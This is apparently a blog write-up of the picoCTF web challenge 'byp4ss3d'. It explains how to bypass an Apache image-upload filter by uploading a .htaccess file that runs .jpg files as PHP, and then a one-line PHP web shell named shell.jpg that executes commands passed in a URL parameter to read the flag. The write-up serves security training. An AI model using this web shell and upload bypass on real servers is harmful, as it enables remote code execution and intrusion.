“byp4ss3d” | picoCTF | Obtain RCE by abusing .htaccess in Apache servers | Web Exploitation
Achieving Remote Code Execution (RCE) by abusing apache .htaccess to upload a php payload.
“byp4ss3d” | picoCTF | Obtain RCE by abusing .htaccess in Apache servers | Web Exploitation
Before We Go
What is .htaccess files

Payloads We Will Use
- The content of the .htaccess
AddType application/x-httpd-php .jpg
- Our php payload
<?php system($_GET['cmd']); ?>
Attack Scenario
-
First we will try to upload a normal image to see web response
-
After this we will try to upload a .htaccess file to make the server accept our php payload
-
Upload our payload
Lab Solution
We will Upload a normal image first
Lab Solution
We will Upload a normal image first


From the Burp, the response is from Apache server, so we will use .htaccess

Prepare our payloads
Since the server doesn’t accept extensions rather than jpg, png, gif
So, we will create a .htaccess file
AddHandler application/x-httpd-php .jpg
We will name it .htaccess , then upload it

After upload it and try to open it, this error appeared to us >> This means that out payload executed successfully
Now, we will upload our php payload
<?php system($_GET['cmd']); ?>
We will name it shell .jpg ( Be concern that the extension is jpg not php )

Now, we will add our URL parameter which is cmd
The URL will be
http://amiable-citadel.picoctf.net:57472/images/shell.jpg?cmd=ls -lha

Now, we will search about the flag.
Finally we will find it in /var/www/ , so we will cat it with >> cat /var/www/flag.txt

I hope you like the solution :)
hack
eat
sleep
again :)
메타데이터
- post_id
- d722fb1122f1
- slug
- byp4ss3d-picoctf-obtain-rce-by-abusing-htaccess-in-apache-servers-web-exploitation-d722fb1122f1
- url
- https://medium.com/@Dr_ro0t/byp4ss3d-picoctf-obtain-rce-by-abusing-htaccess-in-apache-servers-web-exploitation-d722fb1122f1
- canonical_url
- https://medium.com/@Dr_ro0t/byp4ss3d-picoctf-obtain-rce-by-abusing-htaccess-in-apache-servers-web-exploitation-d722fb1122f1
- author_url
- https://medium.com/@Dr_ro0t
- status
- ok
- fetched_at
- 2026-06-26 03:39:16